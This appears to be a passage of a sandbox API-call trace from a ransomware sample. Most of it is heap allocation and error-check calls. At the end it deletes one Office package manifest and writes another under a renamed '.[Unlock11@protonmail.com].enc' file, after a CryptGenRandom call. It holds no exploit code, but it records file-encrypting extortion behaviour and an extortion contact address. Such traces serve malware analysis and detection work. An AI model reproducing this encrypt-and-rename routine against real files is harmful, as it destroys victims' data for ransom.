() returned 0x0 [0133.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.641] GetLastError () returned 0x0 [0133.641] GetLastError () returned 0x0 [0133.642] GetCurrentThreadId () returned 0x9b0 [0133.642] GetLastError () returned 0x0 [0133.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0133.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.642] GetLastError () returned 0x0 [0133.643] GetLastError () returned 0x0 [0133.643] GetLastError () returned 0x0 [0133.643] GetLastError () returned 0x0 [0133.643] GetCurrentThreadId () returned 0x9b0 [0133.643] GetLastError () returned 0x0 [0133.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.643] GetLastError () returned 0x0 [0133.644] GetLastError () returned 0x0 [0133.644] GetCurrentThreadId () returned 0x9b0 [0133.644] GetLastError () returned 0x0 [0133.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.645] GetCurrentThreadId () returned 0x9b0 [0133.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.645] GetLastError () returned 0x0 [0133.645] GetLastError () returned 0x0 [0133.647] GetCurrentThreadId () returned 0x9b0 [0133.647] GetLastError () returned 0x0 [0133.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0133.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.647] GetLastError () returned 0x0 [0133.647] GetLastError () returned 0x0 [0133.648] GetLastError () returned 0x0 [0133.648] GetLastError () returned 0x0 [0133.648] GetCurrentThreadId () returned 0x9b0 [0133.648] GetLastError () returned 0x0 [0133.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.648] GetLastError () returned 0x0 [0133.650] GetLastError () returned 0x0 [0133.650] GetCurrentThreadId () returned 0x9b0 [0133.650] GetLastError () returned 0x0 [0133.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.650] GetLastError () returned 0x0 [0133.651] GetLastError () returned 0x0 [0133.651] GetCurrentThreadId () returned 0x9b0 [0133.651] GetLastError () returned 0x0 [0133.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.652] GetCurrentThreadId () returned 0x9b0 [0133.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0133.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.652] GetLastError () returned 0x0 [0133.652] GetLastError () returned 0x0 [0133.652] GetLastError () returned 0x0 [0133.652] GetLastError () returned 0x0 [0133.652] GetCurrentThreadId () returned 0x9b0 [0133.653] GetLastError () returned 0x0 [0133.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0133.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0133.653] GetLastError () returned 0x0 [0133.654] GetLastError () returned 0x0 [0133.654] GetCurrentThreadId () returned 0x9b0 [0133.654] GetLastError () returned 0x0 [0133.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.654] GetLastError () returned 0x0 [0133.654] GetLastError () returned 0x0 [0133.654] GetCurrentThreadId () returned 0x9b0 [0133.655] GetLastError () returned 0x0 [0133.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0133.655] GetCurrentThreadId () returned 0x9b0 [0133.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.655] GetLastError () returned 0x0 [0133.655] GetLastError () returned 0x0 [0133.655] GetLastError () returned 0x0 [0133.656] GetLastError () returned 0x0 [0133.656] GetCurrentThreadId () returned 0x9b0 [0133.656] GetLastError () returned 0x0 [0133.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0133.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.656] GetLastError () returned 0x0 [0133.657] GetLastError () returned 0x0 [0133.657] GetCurrentThreadId () returned 0x9b0 [0133.657] GetLastError () returned 0x0 [0133.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.658] GetLastError () returned 0x0 [0133.659] GetLastError () returned 0x0 [0133.660] GetCurrentThreadId () returned 0x9b0 [0133.660] GetLastError () returned 0x0 [0133.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0133.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.661] GetCurrentThreadId () returned 0x9b0 [0133.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.661] GetLastError () returned 0x0 [0133.661] GetLastError () returned 0x0 [0133.661] GetLastError () returned 0x0 [0133.661] GetLastError () returned 0x0 [0133.661] GetCurrentThreadId () returned 0x9b0 [0133.662] GetLastError () returned 0x0 [0133.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0133.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.662] GetLastError () returned 0x0 [0133.663] GetLastError () returned 0x0 [0133.663] GetCurrentThreadId () returned 0x9b0 [0133.663] GetLastError () returned 0x0 [0133.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.663] GetLastError () returned 0x0 [0133.663] GetLastError () returned 0x0 [0133.663] GetCurrentThreadId () returned 0x9b0 [0133.664] GetLastError () returned 0x0 [0133.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0133.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.664] GetCurrentThreadId () returned 0x9b0 [0133.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.664] GetLastError () returned 0x0 [0133.664] GetLastError () returned 0x0 [0133.665] GetLastError () returned 0x0 [0133.665] GetLastError () returned 0x0 [0133.665] GetCurrentThreadId () returned 0x9b0 [0133.665] GetLastError () returned 0x0 [0133.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0133.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.665] GetLastError () returned 0x0 [0133.667] GetLastError () returned 0x0 [0133.667] GetCurrentThreadId () returned 0x9b0 [0133.667] GetLastError () returned 0x0 [0133.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.667] GetLastError () returned 0x0 [0133.667] GetLastError () returned 0x0 [0133.668] GetCurrentThreadId () returned 0x9b0 [0133.668] GetLastError () returned 0x0 [0133.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0133.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.668] GetCurrentThreadId () returned 0x9b0 [0133.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.668] GetLastError () returned 0x0 [0133.668] GetLastError () returned 0x0 [0133.669] GetLastError () returned 0x0 [0133.669] GetLastError () returned 0x0 [0133.669] GetCurrentThreadId () returned 0x9b0 [0133.669] GetLastError () returned 0x0 [0133.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.669] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.669] GetLastError () returned 0x0 [0133.670] GetLastError () returned 0x0 [0133.670] GetCurrentThreadId () returned 0x9b0 [0133.670] GetLastError () returned 0x0 [0133.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.671] GetLastError () returned 0x0 [0133.671] GetLastError () returned 0x0 [0133.671] GetCurrentThreadId () returned 0x9b0 [0133.671] GetLastError () returned 0x0 [0133.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0133.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0133.671] GetCurrentThreadId () returned 0x9b0 [0133.672] GetLastError () returned 0x0 [0133.672] GetLastError () returned 0x0 [0133.672] GetLastError () returned 0x0 [0133.672] GetLastError () returned 0x0 [0133.672] GetCurrentThreadId () returned 0x9b0 [0133.672] GetLastError () returned 0x0 [0133.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0133.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0133.673] GetLastError () returned 0x0 [0133.673] GetLastError () returned 0x0 [0133.674] GetCurrentThreadId () returned 0x9b0 [0133.674] GetLastError () returned 0x0 [0133.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0133.674] GetLastError () returned 0x0 [0133.674] GetLastError () returned 0x0 [0133.674] GetCurrentThreadId () returned 0x9b0 [0133.674] GetLastError () returned 0x0 [0133.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de648 [0133.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0133.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0133.675] GetCurrentThreadId () returned 0x9b0 [0133.675] GetLastError () returned 0x0 [0133.675] GetLastError () returned 0x0 [0133.675] GetLastError () returned 0x0 [0133.675] GetLastError () returned 0x0 [0133.675] GetCurrentThreadId () returned 0x9b0 [0133.675] GetLastError () returned 0x0 [0133.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0133.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.676] GetLastError () returned 0x0 [0133.677] GetLastError () returned 0x0 [0133.677] GetCurrentThreadId () returned 0x9b0 [0133.677] GetLastError () returned 0x0 [0133.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0133.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0133.678] GetLastError () returned 0x0 [0133.678] GetLastError () returned 0x0 [0133.678] GetCurrentThreadId () returned 0x9b0 [0133.678] GetLastError () returned 0x0 [0133.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0133.678] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3885) returned 0x36f8548 [0133.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0133.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3888) returned 0x38273e0 [0133.678] GetCurrentThreadId () returned 0x9b0 [0133.678] GetLastError () returned 0x0 [0133.679] GetLastError () returned 0x0 [0133.679] GetLastError () returned 0x0 [0133.679] GetLastError () returned 0x0 [0133.679] GetCurrentThreadId () returned 0x9b0 [0133.679] GetLastError () returned 0x0 [0133.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0133.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.679] GetLastError () returned 0x0 [0133.680] GetLastError () returned 0x0 [0133.680] GetCurrentThreadId () returned 0x9b0 [0133.680] GetLastError () returned 0x0 [0133.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0133.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fbdd8 [0133.681] GetLastError () returned 0x0 [0133.681] GetLastError () returned 0x0 [0133.681] GetCurrentThreadId () returned 0x9b0 [0133.681] GetLastError () returned 0x0 [0133.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fbdd8 | out: hHeap=0x2ad0000) returned 1 [0133.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.681] GetLastError () returned 0x0 [0133.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0133.682] CloseHandle (hObject=0x3ac) returned 1 [0133.682] GetLastError () returned 0x0 [0133.682] GetCurrentThreadId () returned 0x9b0 [0133.682] GetLastError () returned 0x0 [0133.682] GetLastError () returned 0x0 [0133.682] CloseHandle (hObject=0x39c) returned 1 [0133.682] GetLastError () returned 0x0 [0133.682] GetCurrentThreadId () returned 0x9b0 [0133.682] GetLastError () returned 0x0 [0133.683] GetLastError () returned 0x0 [0133.683] GetLastError () returned 0x0 [0133.683] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0133.690] GetCurrentThreadId () returned 0x9b0 [0133.690] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 0x68 [0133.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0133.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0133.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0133.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0133.691] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0133.691] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba34 | out: pbBuffer=0x366ba34) returned 1 [0133.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0133.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0133.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0133.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa08 [0133.691] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.692] GetFileType (hFile=0x39c) returned 0x1 [0133.692] GetFileType (hFile=0x39c) returned 0x1 [0133.692] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.692] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.692] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.692] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.692] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.693] GetLastError () returned 0x0 [0133.693] GetCurrentThreadId () returned 0x9b0 [0133.693] GetLastError () returned 0x0 [0133.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0133.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0133.693] GetLastError () returned 0x0 [0133.693] GetLastError () returned 0x0 [0133.693] GetLastError () returned 0x0 [0133.693] GetLastError () returned 0x0 [0133.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba80 [0133.694] GetLastError () returned 0x0 [0133.694] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.694] GetFileType (hFile=0x3ac) returned 0x1 [0133.694] GetLastError () returned 0x0 [0133.694] GetCurrentThreadId () returned 0x9b0 [0133.694] GetLastError () returned 0x0 [0133.695] GetFileType (hFile=0x3ac) returned 0x1 [0133.695] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.695] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.695] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.695] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.695] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.695] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.695] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.695] GetLastError () returned 0x0 [0133.695] GetCurrentThreadId () returned 0x9b0 [0133.695] GetLastError () returned 0x0 [0133.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0133.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfe08 | out: hHeap=0x2ad0000) returned 1 [0133.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0133.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.696] GetLastError () returned 0x0 [0133.696] GetLastError () returned 0x0 [0133.696] GetCurrentThreadId () returned 0x9b0 [0133.696] GetLastError () returned 0x0 [0133.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0133.696] GetLastError () returned 0x0 [0133.696] GetLastError () returned 0x0 [0133.696] GetCurrentThreadId () returned 0x9b0 [0133.696] GetLastError () returned 0x0 [0133.697] GetLastError () returned 0x0 [0133.698] GetLastError () returned 0x0 [0133.698] GetCurrentThreadId () returned 0x9b0 [0133.698] GetLastError () returned 0x0 [0133.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de648 | out: hHeap=0x2ad0000) returned 1 [0133.699] GetCurrentThreadId () returned 0x9b0 [0133.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3891a30 [0133.699] GetLastError () returned 0x0 [0133.699] GetLastError () returned 0x0 [0133.699] GetLastError () returned 0x0 [0133.699] GetLastError () returned 0x0 [0133.699] GetCurrentThreadId () returned 0x9b0 [0133.699] GetLastError () returned 0x0 [0133.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3891a30 | out: hHeap=0x2ad0000) returned 1 [0133.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0133.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.700] GetLastError () returned 0x0 [0133.700] GetLastError () returned 0x0 [0133.700] GetCurrentThreadId () returned 0x9b0 [0133.700] GetLastError () returned 0x0 [0133.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2338 | out: hHeap=0x2ad0000) returned 1 [0133.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0133.700] GetLastError () returned 0x0 [0133.700] GetLastError () returned 0x0 [0133.700] GetCurrentThreadId () returned 0x9b0 [0133.700] GetLastError () returned 0x0 [0133.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0133.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.701] GetLastError () returned 0x0 [0133.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.702] CloseHandle (hObject=0x3ac) returned 1 [0133.702] GetLastError () returned 0x0 [0133.702] GetCurrentThreadId () returned 0x9b0 [0133.702] GetLastError () returned 0x0 [0133.702] GetLastError () returned 0x0 